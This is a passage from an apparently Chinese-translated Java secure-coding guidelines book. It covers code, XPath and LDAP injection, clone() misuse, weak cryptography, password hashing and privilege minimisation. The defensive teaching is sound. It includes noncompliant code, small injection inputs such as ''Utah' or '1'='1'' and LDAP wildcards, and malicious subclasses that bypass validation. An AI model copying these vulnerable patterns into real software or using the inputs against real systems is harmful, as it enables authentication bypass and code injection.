getNotifications(HttpServletRequest request, HttpServletResponse response) { ValidateOutput vo = new ValidateOutput(); ModelAndView mv = new ModelAndView(); try { UserInfo userDetails = getUserInfo(); List<Map<String,Object>> list = new ArrayList<Map<String,Object>>(); List<Notification> notificationList = NotificationService.getNotificationsForUserId( serDetails.getPersonId()); for (Notification notification: notificationList) { Map<String,Object> map = new HashMap<String,Object>(); map.put(\"id\", vo.validate(\"id\" ,notification.getId())); map.put(\"message\", vo.validate(\"message\", notification.getMessage())); list.add(map); } mv.addObject(\"Notifications\", list); } catch (Throwable t) { // Log to file and handle } return mv; } 当接受危险的字符如双引号和尖括号时，必须对输出进行编码和转义。"},
    {"text": "关于防止XSS攻击的更多信息，请参考OWASP XSS (Cross-Site Scripting) Prevention Cheat Sheet（www.owasp.org/index.php/XSS_Prevention_Cheat_Sheet）。"},
    {"text": "参考文献 [Long 2012] IDS01-J.Normalize strings before validating them [OWASP 2011] Cross-Site Scripting(XSS) [OWASP 2013] How to Add Validation Logic to HttpServletRequest XSS (Cross-Site Scripting)Prevention Cheat Sheet 指南7：防止代码注入 当有不可信的输入注入动态构造的代码中时，会引起代码注入攻击。"},
    {"text": "private static void evalScript(String firstName) throws ScriptException { ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName(\"javascript\"); engine.eval(\"print('\"+ firstName + \"')\"); } 攻击者可以传入一个别有用心的输入值，用以注入恶意的JavaScript代码。"},
    {"text": "dummy\\'); var bw = new JavaImporter(java.io.BufferedWriter); var fw = new JavaImporter(java.io.FileWriter); with(fw) with(bw) { bwr = new BufferedWriter(new FileWriter(\\\"config.cfg\\\")); bwr.write(\\\"some text\\\"); bwr.close(); } // ; 这个示例中的脚本首先打印“dummy”，然后将“some text”写入一个名为config.cfg的配置文件中。"},
    {"text": "private static void evalScript(String firstName) throws ScriptException { // Allow only alphanumeric and underscore chars in firstName // (modify if firstName may also include special characters) if (!firstName.matches(\"[\\\\w]*\")) { // String does not match whitelisted characters throw new IllegalArgumentException(); } ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName(\"javascript\"); engine.eval(\"print('\"+ firstName + \"')\"); } 合规解决方案（安全沙盒） 另一种方式是使用安全管理器创建一个安全的沙盒（参见指南20）。"},
    {"text": "双参数版本的doPrivileged()方法可用于处理更低特权的操作，这种情况下，应用程序本身必须执行更高特权的操作，但脚本引擎决不能拥有这样的特权。"},
    {"text": "class ACC { private static class RestrictedAccessControlContext { private static final AccessControlContext INSTANCE; static { INSTANCE = new AccessControlContext( new ProtectionDomain[] { new ProtectionDomain(null, null) // No permissions }); } } private static void evalScript(final String firstName) throws ScriptException { ScriptEngineManager manager = new ScriptEngineManager(); final ScriptEngine engine = manager.getEngineByName(\"javascript\"); // Restrict permission using the two-argument // form of doPrivileged() try { AccessController.doPrivileged( new PrivilegedExceptionAction<Object>() { public Object run() throws ScriptException { engine.eval(\"print('\" + firstName + \"')\"); return null; } }, // From nested class RestrictedAccessControlContext.INSTANCE); } catch (PrivilegedActionException pae) { // Handle error } } } 将这个方法和白名单结合在一起使用，可以获得更高的安全性。"},
    {"text": "参考文献 [API 2013] javax.script包 [Long 2012] IDS00-J.Sanitize untrusted data passed across a trust boundary [OWASP 2013] Code Injection in Java 指南8：防止XPath注入 可扩展标记语言（Extensible Markup Language，XML）可用于以类似于关系数据库的方式来存储数据。"},
    {"text": "这种攻击类似于SQL注入或XML注入（参见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“IDS00-J. Sanitize untrusted data passed across a trust boundary”。"},
    {"text": "<users> <user> <username>Utah</username> <password>e90205372a3b89e2</password> </user> <user> <username>Bohdi</username> <password>6c16b22029df4ec6</password> </user> <user> <username>Busey</username> <password>ad39b3c2a4dabc98</password> </user> </users> 密码已被散列加密，这符合指南13。"},
    {"text": "//users/user[username/text()='&LOGIN&' and password/text()='&PASSWORD&' ] 如果攻击者知道Utah是一个有效的用户名，他可以指定一个下面这样的输入： Utah' or '1'='1 这样就构造出以下查询字符串： //users/user[username/text()='Utah' or '1'='1' and password/text()='xxxx'] 因为'1'='1'自动为真，所以密码永远也不会被检查。"},
    {"text": "违规代码示例 下面的违规代码示例从用户输入中读取用户名和密码，并使用它们来构建查询字符串，将密码以字符数组的形式传递，然后对其进行散列加密。"},
    {"text": "如果将上面描述的攻击字符串传递给evaluate()方法，这个方法调用会返回XML文件中的相应节点，这会导致doLogin()方法返回true，并绕过所有授权。"},
    {"text": "private boolean doLogin(String userName, char[] password) throws ParserConfigurationException, SAXException, IOException, XPathExpressionException { DocumentBuilderFactory domFactory = DocumentBuilderFactory.newInstance(); domFactory.setNamespaceAware(true); DocumentBuilder builder = domFactory.newDocumentBuilder(); Document doc = builder.parse(\"users.xml\"); String pwd = hashPassword( password); XPathFactory factory = XPathFactory.newInstance(); XPath xpath = factory.newXPath(); XPathExpression expr = xpath.compile(\"//users/user[username/text()='\" + userName + \"' and password/text()='\" + pwd + \"' ]\"); Object result = expr.evaluate(doc, XPathConstants.NODESET); NodeList nodes = (NodeList) result; // Print first names to the console for (int i = 0; i < nodes.getLength(); i++) { Node node = nodes.item(i).getChildNodes().item(1). getChildNodes().item(0); System.out.println( \"Authenticated: \" + node.getNodeValue() ); } return (nodes.getLength() >= 1); } 合规解决方案（XQuery） 为了防止XPath注入，可以采用类似于防止SQL注入的方式。"},
    {"text": "一种有效防止SQL注入相关问题的技术是参数化。 参数化能确保将用户指定的数据以参数的形式传递给API，这样数据就不会被解释为可执行内容了。"},
    {"text": "输入文件：login.xq declare variable $userName as xs:string external; declare variable $password as xs:string external; //users/user[@userName=$userName and @password=$password] 下面的合规解决方案从一个文本文件中读取所需的特定格式的查询语句，然后将用户名和密码的值插入一个映射中。"},
    {"text": "private boolean doLogin(String userName, String pwd) throws ParserConfigurationException, SAXException, IOException, XPathExpressionException { DocumentBuilderFactory domFactory = DocumentBuilderFactory.newInstance(); domFactory.setNamespaceAware(true); DocumentBuilder builder = domFactory.newDocumentBuilder(); Document doc = builder.parse(\"users.xml\"); XQuery xquery = new XQueryFactory().createXQuery(new File(\"login.xq\")); Map queryVars = new HashMap(); queryVars.put(\"userName\", userName); queryVars.put(\"password\", pwd); NodeList nodes = xquery.execute(doc, null, queryVars).toNodes(); // Print first names to the console for (int i = 0; i < nodes.getLength(); i++) { Node node = nodes.item(i).getChildNodes().item(1). getChildNodes().item(0); System.out.println(node.getNodeValue()); } return (nodes.getLength() >= 1); } 使用这种方法，用户名（userName）和密码（password）字段中输入的数据不会被运行时环境解释为可执行的内容。"},
    {"text": "参考文献 [Fortify 2013] “Input Validation and Representation:XML Injection” [Long 2012] IDS00-J.Sanitize untrusted data passed across a trust boundary [OWASP 2013] Testing for XPath Injection [Sen 2007] Avoid the Dangers of XPath Injection [Oracle 2011b] Ensure Data Security 指南9：防止LDAP注入 轻量级目录访问协议（Lightweight Directory Access Protocol，LDAP）允许应用程序执行远程操作，如在目录中搜索和修改记录。"},
    {"text": "禁止加入白名单的字符或字符序列包括：Java命名和目录接口（Java Naming and Directory Interface， JNDI）的元字符和LDAP特殊字符，这些字符都列在了表1-1中。 表1-1 禁止加入白名单的字符和序列 续表 注：*这是一个字符序列。"},
    {"text": "LDAP注入示例 试想一个LDAP数据交换格式（LDAP Data Interchange Format，LDIF）文件，其中包含的记录格式如下： dn: dc=example,dc=com objectclass: dcobject objectClass: organization o: Some Name dc: example dn: ou=People,dc=example,dc=com ou: People objectClass: dcobject objectClass: organizationalUnit dc: example dn: cn=Manager,ou=People,dc=example,dc=com cn: Manager sn: John Watson # Several objectClass definitions here (omitted) userPassword: secret1 mail: john@holmesassociates.com dn: cn=Senior Manager,ou=People,dc=example,dc=com cn: Senior Manager sn: Sherlock Holmes # Several objectClass definitions here (omitted) userPassword: secret2 mail: sherlock@holmesassociates.com 并且对有效用户名和密码的搜索经常使用下面这种形式： (&(sn=<USERSN>)(userPassword=<USERPASSWORD>)) 然而，攻击者可以通过在USERSN字段中输入S*、在USERPASSWORD字段中输入*来绕过身份验证。"},
    {"text": "// String userSN = \"S*\"; // Invalid // String userPassword = \"*\"; // Invalid public class LDAPInjection { private void searchRecord(String userSN, String userPassword) throws NamingException { Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, \"com.sun.jndi.ldap.LdapCtxFactory\"); try { DirContext dctx = new InitialDirContext(env); SearchControls sc = new SearchControls(); String[] attributeFilter = {\"cn\", \"mail\"}; sc.setReturningAttributes(attributeFilter); sc.setSearchScope(SearchControls.SUBTREE_SCOPE); String base = \"dc=example,dc=com\"; // The following resolves to (&(sn=S*)(userPassword=*)) String filter = \"(&(sn=\" + userSN + \")(userPassword=\" + userPassword + \"))\"; NamingEnumeration<?> results = dctx.search(base, filter, sc); while (results.hasMore()) { SearchResult sr = (SearchResult) results.next(); Attributes attrs = (Attributes) sr.getAttributes(); Attribute attr = (Attribute) attrs.get(\"cn\"); System.out.println(attr); attr = (Attribute) attrs.get(\"mail\"); System.out.println(attr); } dctx.close(); } catch (NamingException e) { // Forward to handler } } } 当恶意用户输入别有用心的值时，正如前面提到的，这个基本的身份验证方案没能对需要用户访问特权的信息查询作出限制。"},
    {"text": "// String userSN = \"Sherlock Holmes\"; // Valid // String userPassword = \"secret2\"; // Valid // ... beginning of LDAPInjection.searchRecord() ... sc.setSearchScope(SearchControls.SUBTREE_SCOPE); String base = \"dc=example,dc=com\"; if (!userSN.matches(\"[\\\\w\\\\s]*\") || !userPassword.matches(\"[\\\\w]*\")) { throw new IllegalArgumentException(\"Invalid input\"); } String filter = \"(&(sn = \" + userSN + \")(userPassword=\" + userPassword + \"))\"; // ... remainder of LDAPInjection.searchRecord() ... 当密码这样的数据库字段必须包含特殊字符时，至关重要的是，确保可信的数据以无害的形式存储在数据库中，并且在验证或比较用户输入前必须对其进行标准化。"},
    {"text": "参考文献 [OWASP 2013] Preventing LDAP Injection in Java 指南10：不要使用clone()方法来复制不可信的方法参数 创建可变方法参数的防御性副本，可以减轻来自各种安全漏洞的威胁，更多信息请参考《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“OBJ06-J. Defensively copy mutable inputs and mutable internal components”。"},
    {"text": "private Boolean validateValue(long time) { // Perform validation return true; // If the time is valid } private void storeDateInDB(java.util.Date date) throws SQLException { final java.util.Date copy = (java.util.Date)date.clone(); if (validateValue(copy.getTime())) { Connection con = DriverManager.getConnection( \"jdbc:microsoft:sqlserver://<HOST>:1433\", \"<UID>\", \"<PWD>\" ); PreparedStatement pstmt = con.prepareStatement(\"UPDATE ACCESSDB SET TIME = ?\"); pstmt.setLong(1, copy.getTime()); // ... } } storeDateInDB()方法接受一个不可信的日期参数，尝试利用其 clone()方法创建一个防御性副本。"},
    {"text": "如果攻击者的代码运行特权和storeDateInDB()方法一样，那么他只需在clone()方法里嵌入恶意代码： class MaliciousDate extends java.util.Date { @Override public MaliciousDate clone() { // malicious code goes here } } 然而，如果攻击者只能提供恶意的日期参数，但是没有足够特权，他还是可以绕过验证，从而混淆程序的其余部分。 试想一下这个例子： public class MaliciousDate extends java.util.Date { private static int count = 0; @Override public long getTime() { java.util.Date d = new java.util.Date(); return (count++ == 1) ? d.getTime() : d.getTime() - 1000; } } getTime()方法第一次被调用时，这个恶意的日期看上去是一个正常的日期对象，这使得它绕过了storeDateInDB()里的验证方法。"},
    {"text": "private void storeDateInDB(java.util.Date date) throws SQLException { final java.util.Date copy = new java.util.Date(date.getTime()); if (validateValue(copy.getTime())) { Connection con = DriverManager.getConnection( \"jdbc:microsoft:sqlserver://<HOST>:1433\", \"<UID>\", \"<PWD>\" ); PreparedStatement pstmt = con.prepareStatement(\"UPDATE ACCESSDB SET TIME = ?\"); pstmt.setLong(1, copy.getTime()); // ... } } 违规代码示例（CVE-2012-0507） 下面的违规代码示例展示了一个Java核心类AtomicReferenceArray的构造函数，它来自于Java 1.7.0版本的第2次更新。"},
    {"text": "public AtomicReferenceArray(E[] array) { // Visibility guaranteed by final field guarantees this.array = array.clone(); } 这段代码的调用导致漏洞被利用，在2012年4月影响了600 000台Macintosh电脑。"},
    {"text": "[1] 合规解决方案（CVE-2012-0507） 在Java 1.7.0版本的第3次更新中，对上面提到的构造函数进行了修改，使用Arrays.copyOf()方法替换了clone()方法。"},
    {"text": "public AtomicReferenceArray(E[] array) { // Visibility guaranteed by final field guarantees this.array = Arrays.copyOf( array, array.length, Object[].class); } 适用性 使用clone()方法复制不可信的参数会给攻击者执行任意代码的机会。"},
    {"text": "参考文献 [Long 2012] OBJ06-J. Defensively copy mutable inputs and mutable internal components [Sterbenz 2006] Secure Coding Antipatterns:Avoiding Vulnerabilities 指南11：不要使用Object.equals()来比较密钥 java.lang.Object.equals()方法，在默认情况下是无法比较复合对象（如密钥）的。"},
    {"text": "private static boolean keysEqual(Key key1, Key key2) { if (key1.equals(key2)) { return true; } return false; } 合规解决方案 下面的合规解决方案首先使用equals()方法进行检查，如果不相等，则继续比较密钥的编码版本，这可以使密钥比对逻辑和密钥提供方实现逻辑解耦。"},
    {"text": "private static boolean keysEqual(Key key1, Key key2) { if (key1.equals(key2)) { return true; } if (Arrays.equals(key1.getEncoded(), key2.getEncoded())) { return true; } // More code for different types of keys here // For example, the following code can check whether // an RSAPrivateKey and an RSAPrivateCrtKey are equal if ((key1 instanceof RSAPrivateKey) && (key2 instanceof RSAPrivateKey)) { if ((((RSAKey) key1).getModulus().equals( ((RSAKey) key2).getModulus())) && (((RSAPrivateKey) key1).getPrivateExponent().equals( ((RSAPrivateKey) key2).getPrivateExponent()))) { return true; } } return false; } 自动检测 使用Object.equals()比较密钥可能会产生意想不到的结果。"},
    {"text": "参考文献 [API 2013] java.lang.Object.equals(),Object.equals() [Oracle 2011b] Determining If Two Keys Are Equal(JCA Reference Guide) 指南12：不要使用不安全的弱加密算法 安全敏感的应用程序必须避免使用不安全的弱加密方式。"},
    {"text": "SecretKey key = KeyGenerator.getInstance(\"DES\").generateKey(); Cipher cipher = Cipher.getInstance(\"DES\"); cipher.init(Cipher.ENCRYPT_MODE, key); // Encode bytes as UTF8; strToBeEncrypted contains // the input string that is to be encrypted byte[] encoded = strToBeEncrypted.getBytes(\"UTF8\"); // Perform encryption byte[] encrypted = cipher.doFinal(encoded); 合规解决方案 下面的合规解决方案使用更安全的高级加密标准（Advanced Encryption Standard， AES）算法执行加密。 Cipher cipher = Cipher.getInstance(\"AES\"); KeyGenerator kgen = KeyGenerator.getInstance(\"AES\"); kgen.init(128); // 192 and 256 bits may be unavailable SecretKey skey = kgen.generateKey(); byte[] raw = skey.getEncoded(); SecretKeySpec skeySpec = new SecretKeySpec(raw, \"AES\"); cipher.init(Cipher.ENCRYPT_MODE, skeySpec); // Encode bytes as UTF8; strToBeEncrypted contains the // input string that is to be encrypted byte[] encoded = strToBeEncrypted.getBytes(\"UTF8\"); // Perform encryption byte[] encrypted = cipher.doFinal(encoded); 适用性 使用数学和计算上不安全的加密算法会导致敏感信息的泄露。"},
    {"text": "参考文献 [Oracle 2011a] Appendix D, “Disabling Cryptographic Algorithms” [Oracle 2013b] Java Cryptography Architecture(JCA)Reference Guide 指南13：使用散列函数存储密码 程序以明文（未加密的文本数据）方式存储密码将会导致密码以多种方式被泄露的风险。"},
    {"text": "一种可行的限制密码暴露的技术是使用散列函数（hash function），它允许程序间接地比较输入的密码和原始密码，而不需要以明文或可解密的方式存储密码字符串。"},
    {"text": "public final class Password { private void setPassword(byte[] pass) throws Exception { // Arbitrary encryption scheme bytes[] encrypted = encrypt(pass); clearArray(pass); // Encrypted password to password.bin saveBytes(encrypted,\"password.bin\"); clearArray(encrypted); } boolean checkPassword(byte[] pass) throws Exception { // Load the encrypted password byte[] encrypted = loadBytes(\"password.bin\"); byte[] decrypted = decrypt(encrypted); boolean arraysEqual = Arrays.equal(decrypted, pass); clearArray(decrypted); clearArray(pass); return arraysEqual; } private void clearArray(byte[] a) { for (int i = 0; i < a.length; i++) { a[i] = 0; } } } 攻击者可能会解密这个文件，从而发现密码，特别是当攻击者知道程序是如何使用这个密钥和加密方案的时候。"},
    {"text": "违规代码示例 下面的违规代码示例虽然是通过使用MessageDigest类的SHA-256散列函数对密码的散列值进行的比较，没有使用明文字符串，但是它却使用了字符串来存储密码。"},
    {"text": "import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public final class Password { private void setPassword(String pass) throws Exception { byte[] salt = generateSalt(12); MessageDigest msgDigest = MessageDigest.getInstance(\"SHA-256\"); // Encode the string and salt byte[] hashVal = msgDigest.digest((pass+salt).getBytes()); saveBytes(salt, \"salt.bin\"); // Save the hash value to password.bin saveBytes(hashVal,\"password.bin\"); } boolean checkPassword(String pass) throws Exception { byte[] salt = loadBytes(\"salt.bin\"); MessageDigest msgDigest = MessageDigest.getInstance(\"SHA-256\"); // Encode the string and salt byte[] hashVal1 = msgDigest.digest((pass+salt).getBytes()); // Load the hash value stored in password.bin byte[] hashVal2 = loadBytes(\"password.bin\"); return Arrays.equals(hashVal1, hashVal2); } private byte[] generateSalt(int n) { // Generate a random byte array of length n } } 即使攻击者知道程序在存储密码时使用的是SHA-256算法和一个12字节的盐，他也无法从password.bin和salt.bin中获取实际的密码。"},
    {"text": "import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public final class Password { private void setPassword(byte[] pass) throws Exception { byte[] salt = generateSalt(12); byte[] input = appendArrays(pass, salt); MessageDigest msgDigest = MessageDigest.getInstance(\"SHA-256\"); // Encode the string and salt byte[] hashVal = msgDigest.digest(input); clearArray(pass); clearArray(input); saveBytes(salt, \"salt.bin\"); // Save the hash value to password.bin saveBytes(hashVal,\"password.bin\"); clearArray(salt); clearArray(hashVal); } boolean checkPassword(byte[] pass) throws Exception { byte[] salt = loadBytes(\"salt.bin\"); byte[] input = appendArrays(pass, salt); MessageDigest msgDigest = MessageDigest.getInstance(\"SHA-256\"); // Encode the string and salt byte[] hashVal1 = msgDigest.digest(input); clearArray(pass); clearArray(input); // Load the hash value stored in password.bin byte[] hashVal2 = loadBytes(\"password.bin\"); boolean arraysEqual = Arrays.equals(hashVal1, hashVal2); clearArray(hashVal1); clearArray(hashVal2); return arraysEqual; } private byte[] generateSalt(int n) { // Generate a random byte array of length n } private byte[] appendArrays(byte[] a, byte[] b) { // Return a new array of a[] appended to b[] } private void clearArray(byte[] a) { for (int i = 0; i < a.length; i++) { a[i] = 0; } } } 在setPassword()和checkPassword()方法，密码的明文表示，在转化为散列值后会被立即擦除。"},
    {"text": "确保数据的完全擦除是极具挑战性的，很可能是与平台有关的，甚至是不可能的——因为需要复制垃圾收集器、进行动态分页，还涉及Java语言层级以下的其他平台相关的操作。"},
    {"text": "参考文献 [API 2013] ClassMessageDigest,ClassString [Hirondelle 2013] Passwords Never Clear in Text [OWASP 2012] “Why Add Salt?” [Paar 2010] Chapter 11,“Hash Functions” 指南14：确保SecureRandom正确地选择随机数种子 随机数的生成取决于熵的来源，如信号、设备或硬件输入等。"},
    {"text": "《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“MSC02-J. Generate strong random numbers”解决了安全随机数的生成。 java.security.SecureRandom类被广泛用于生成密码强随机数。"},
    {"text": "SecureRandom random = new SecureRandom( String.valueOf(new Date().getTime()).getBytes() ); 这个构造函数搜索注册的安全提供程序并返回第一个支持安全随机数生成的提供程序。"},
    {"text": "byte[] randomBytes = new byte[128]; SecureRandom random = new SecureRandom(); random.nextBytes(randomBytes); 指定确切的随机数生成器和提供者也是一个好的实践，这样会带来更好的可移植性。"},
    {"text": "适用性 不够安全的随机数会使得攻击者能够在它们被使用的上下文中获得特定的信息。 不安全的随机数在一些没有安全要求的情况下也是有用的。"},
    {"text": "参考文献 [API 2013] SecureRandom [Sethi 2009] Proper Use of Java’s SecureRandom [Long 2012] MSC02-J.Generate strong random numbers 指南15：不要依赖可以被不可信代码覆盖的方法 不可信代码可以滥用可信代码提供的API来覆盖一些方法，如Object.equals()、Object. hashCode()和Thread.run()。"},
    {"text": "public class LicenseManager { Map<LicenseType, String> licenseMap = new HashMap<LicenseType, String>(); public LicenseManager() { LicenseType type = new LicenseType(); type.setType(\"demo-license-key\"); licenseMap.put(type, \"ABC-DEF-PQR-XYZ\"); } public Object getLicenseKey(LicenseType licenseType) { return licenseMap.get(licenseType); } public void setLicenseKey(LicenseType licenseType, String licenseKey) { licenseMap.put(licenseType, licenseKey); } } class LicenseType { private String type; public String getType() { return type; } public void setType(String type) { this.type = type; } @Override public int hashCode() { int res = 17; res = res * 31 + type == null ? 0 : type.hashCode(); return res; } @Override public boolean equals(Object arg) { if (arg == null || !(arg instanceof LicenseType)) { return false; } if (type.equals(((LicenseType) arg).getType())) { return true; } return false; } } LicenseManager的构造函数用必须保持密文的演示许可证密钥，对licenseMap进行了初始化。"},
    {"text": "LicenseType类提供了equals()方法和hashCode()方法的覆盖实现。 这个实现是易受攻击的，攻击者可以扩展LicenseType类并覆盖equals()方法和hashCode()方法： public class CraftedLicenseType extends LicenseType { private static int guessedHashCode = 0; @Override public int hashCode() { // Returns a new hashCode to test every time get() is called guessedHashCode++; return guessedHashCode; } @Override public boolean equals(Object arg) { // Always returns true return true; } } 下面是恶意的客户端程序： public class DemoClient { public static void main(String[] args) { LicenseManager licenseManager = new LicenseManager(); for (int i = 0; i <= Integer.MAX_VALUE; i++) { Object guessed = licenseManager.getLicenseKey(new CraftedLicenseType()); if (guessed != null) { // prints ABC-DEF-PQR-XYZ System.out.println(guessed); } } } } 客户端程序使用CraftedLicenseType类遍历所有可能的散列码序列，直到它成功匹配到存储在LicenseManager类中的演示许可证密钥对象的散列码。"},
    {"text": "public class LicenseManager { Map<LicenseType, String> licenseMap = new IdentityHashMap<LicenseType, String>(); // ... } 根据Java API中IdentityHashMap类的文档[API 2006]： 这个类以一个散列表实现Map（映射）接口，在比较键（和值）时使用引用相等代替对象相等。"},
    {"text": "换句话说，如果在一个IdentityHashMap中有k1和k2两个键，那么当且仅当(k1==k2)时，才可以说它们是相等的。 （而对于普通的Map实现（如HashMap）中的两个键k1和k2，当且仅当(k1==null ? k2==null : k1.equals(k2))时，才可以说它们是相等的。"},
    {"text": "public class DemoClient { public static void main(String[] args) { LicenseManager licenseManager = new LicenseManager(); LicenseType type = new LicenseType(); type.setType(\"custom-license-key\"); licenseManager.setLicenseKey(type, \"CUS-TOM-LIC-KEY\"); Object licenseKeyValue = licenseManager.getLicenseKey(type); // Prints CUS-TOM-LIC-KEY System.out.println(licenseKeyValue); } } 合规解决方案（final类） 下面的合规解决方案将LicenseType类用final关键字声明成了不可更改的类，这样它的所有方法就都不能被覆盖了。"},
    {"text": "public class Widget { private int noOfComponents; public Widget(int noOfComponents) { this.noOfComponents = noOfComponents; } public int getNoOfComponents() { return noOfComponents; } public final void setNoOfComponents(int noOfComponents) { this.noOfComponents = noOfComponents; } public boolean equals(Object o) { if (o == null || !(o instanceof Widget)) { return false; } Widget widget = (Widget) o; return this.noOfComponents == widget.getNoOfComponents(); } @Override public int hashCode() { int res = 31; res = res * 17 + noOfComponents; return res; } } public class LayoutManager { private Set<Widget> layouts = new HashSet<Widget>(); public void addWidget(Widget widget) { if (!layouts.contains(widget)) { layouts.add(widget); } } public int getLayoutSize() { return layouts.size(); } } 攻击者可以用Navigator部件扩展Widget类，并覆盖hashCode()方法： public class Navigator extends Widget { public Navigator(int noOfComponents) { super(noOfComponents); } @Override public int hashCode() { int res = 31; res = res * 17; return res; } } 客户端代码如下: Widget nav = new Navigator(1); Widget widget = new Widget(1); LayoutManager manager = new LayoutManager(); manager.addWidget(nav); manager.addWidget(widget); System.out.println(manager.getLayoutSize()); // Prints 2 layouts（布局）集合本应只包含一个条目，因为被添加的Navigator和Widget的组件数量都是1。"},
    {"text": "产生这种差异的原因是，Widget的hashCode()方法只在Widget对象被添加到集合中时使用了一次。 当添加Navigator时，集合使用的是Navigator类提供的hashCode()方法。"},
    {"text": "public final class Widget { // ... } 违规代码示例（run()） 在下面的违规代码示例中，Worker类及其子类SubWorker，均包含一个用来启动一个线程的startThread()方法。 public class Worker implements Runnable { Worker() { } public void startThread(String name) { new Thread(this, name).start(); } @Override public void run() { System.out.println(\"Parent\"); } } public class SubWorker extends Worker { @Override public void startThread(String name) { super.startThread(name); new Thread(this, name).start(); } @Override public void run() { System.out.println(\"Child\"); } } 如果一个客户端运行下面的代码： Worker w = new SubWorker(); w.startThread(\"thread\"); 客户端可能会希望Parent和Child都被打印出来。"},
    {"text": "public class SubWorker extends Worker { @Override public void startThread(String name) { new Thread(this, name).start(); } // ... } 对客户端代码也做了修改，单独开启父线程和子线程。 这个程序将会产生预期的输出： Worker w1 = new Worker(); w1.startThread(\"parent-thread\"); Worker w2 = new SubWorker(); w2.startThread(\"child-thread\"); 参考文献 [API 2013] Class IdentityHashMap [Hawtin 2006] [drlvm][kernel_classes]ThreadLocal vulnerability 指南16：避免授予过多特权 Java安全策略为代码授予权限，用来允许指定代码访问特定的系统资源。"},
    {"text": "一个被授予许可的代码源（CodeSource类型的对象），是由代码位置（URL）和证书引用组成的，该证书包含公钥以及与之对应的私钥，用来对代码进行数字签名, 代码只有在被某证书数字签名之后，才能关联到该证书引用。"},
    {"text": "运行在安全管理器之下的任何代码，在执行任何安全相关的操作时，都必须被授予特定的权限，如读或者写一个文件时必须要有执行文件读或者写的权限。"},
    {"text": "private FileInputStream openFile() { final FileInputStream f[] = { null }; AccessController.doPrivileged(new PrivilegedAction() { public Object run() { try { f[0] = new FileInputStream(\"file\"); } catch(FileNotFoundException fnf) { // Forward to handler } return null; } }); return f[0]; } // Wrapper method public void performActionOnFile() { try (FileInputStream f = openFile()){ // Perform operation } catch (Throwable t) { // Handle exception } } 在这个例子中，对可信代码授予的特权超出了读取一个文件的真实需要，即便是需要读取文件，也只需要为 doPrivileged()代码块授权。"},
    {"text": "合规解决方案 双参数形式的doPrivileged()方法从调用者那里接受一个作为第二个参数传递的AccessControlContext对象，并将所包含代码的特权限制在保护域特权和上下文权限的交集中。"},
    {"text": "一个被适当授予文件读取权限的AccessControlContext，可以作为一个内部类： private FileInputStream openFile(AccessControlContext context) { if (context == null) { throw new SecurityException(\"Missing AccessControlContext\"); } final FileInputStream f[] = { null }; AccessController.doPrivileged( new PrivilegedAction() { public Object run() { try { f[0] = new FileInputStream(\"file\"); } catch (FileNotFoundException fnf) { // Forward to handler } return null; } }, // Restrict the privileges by passing the context argument context); return f[0]; } private static class FileAccessControlContext { public static final AccessControlContext INSTANCE; static { Permission perm = new java.io.FilePermission(\"file\", \"read\"); PermissionCollection perms = perm.newPermissionCollection(); perms.add(perm); INSTANCE = new AccessControlContext(new ProtectionDomain[] { new ProtectionDomain(null, perms)}); } } // Wrapper method public void performActionOnFile() { try { final FileInputStream f = // Grant only open-for-reading privileges openFile(FileAccessControlContext.INSTANCE); // Perform action } catch (Throwable t) { // Handle exception } } 如果调用者缺乏创建一个适当的AccessControlContext的权限，那么可以通过请求AccessController.getContext()来创建一个这样的实例。"},
    {"text": "参考文献 [API 2013] Class AccessController [Oracle 2013] API for Privileged Blocks 指南17：最小化特权代码 程序必须符合最小特权原则，不仅为特权块提供正确操作所需的最低权限（参见指南 16），而且要确保特权代码只包含那些需要增加特权的操作。"},
    {"text": "public void changePassword(String currentPassword, String newPassword) { final FileInputStream f[] = { null }; AccessController.doPrivileged(new PrivilegedAction() { public Object run() { try { String passwordFile = System.getProperty(\"user.dir\") + File.separator + \"PasswordFileName\"; f[0] = new FileInputStream(passwordFile); // Check whether oldPassword matches the one in the file // If not, throw an exception System.loadLibrary(\"authentication\"); } catch (FileNotFoundException cnf) { // Forward to handler } return null; } }); // Forward to handler } 这个示例违反了最小特权原则，因为未授权调用者也可能加载身份验证库。"},
    {"text": "未授权调用者不能直接调用System.loadLibrary()方法，因为这可能会使本地方法暴露给无特权的代码[SCG 2010]。 此外，System.loadLibrary()方法只检查它的直接调用者的特权，所以在使用它时要千万小心。"},
    {"text": "public void changePassword(String currentPassword, String newPassword) { final FileInputStream f[] = { null }; AccessController.doPrivileged(new PrivilegedAction() { public Object run() { try { String passwordFile = System.getProperty(\"user.dir\") + File.separator + \"PasswordFileName\"; f[0] = new FileInputStream(passwordFile); // Check whether oldPassword matches the one in the file // If not, throw an exception } catch (FileNotFoundException cnf) { // Forward to handler } return null; } }); // End of doPrivileged() System.loadLibrary(\"authentication\"); } loadLibrary()调用也可以在初步密码重置检查之前执行；"},
    {"text": "参考文献 [API 2013] Class AccessController 指南18：不要将使用降低安全性检查的方法暴露给不可信代码 大多数方法缺乏安全管理器检查，是因为它们不提供对系统敏感部分（如文件系统）的访问。"},
    {"text": "表1-2 只检查调用方法的方法 因为方法java.lang.reflect.Field.setAccessible()和getAccessible()被用来通知Java虚拟机（JVM）进行覆盖语言访问检查，所以它们执行标准的（甚至更严格的）安全管理器检查，因此不会出现这条指南中描述的漏洞。"},
    {"text": "其中几个负责加载类的方法，将它们的工作委派给了被调用方法的类加载器。 类加载器会执行与类的加载有关的安全检查。 因此，任何调用其中的一个类加载方法的代码，必须保证这些方法不能代表不可信的代码。"},
    {"text": "在实践中，可信代码的类加载器经常允许调用这些方法，而不可信代码的类加载器可能缺少这样的特权。 然而，当不可信代码的类加载器委托给可信代码的类加载器时，可信代码对于不可信代码来说是可见的。 在缺乏这样的委托关系时，类加载器会确保命名空间的分离，因此，不可信代码将无法观察属于可信代码的成员，也无法调用属于可信代码的方法。"},
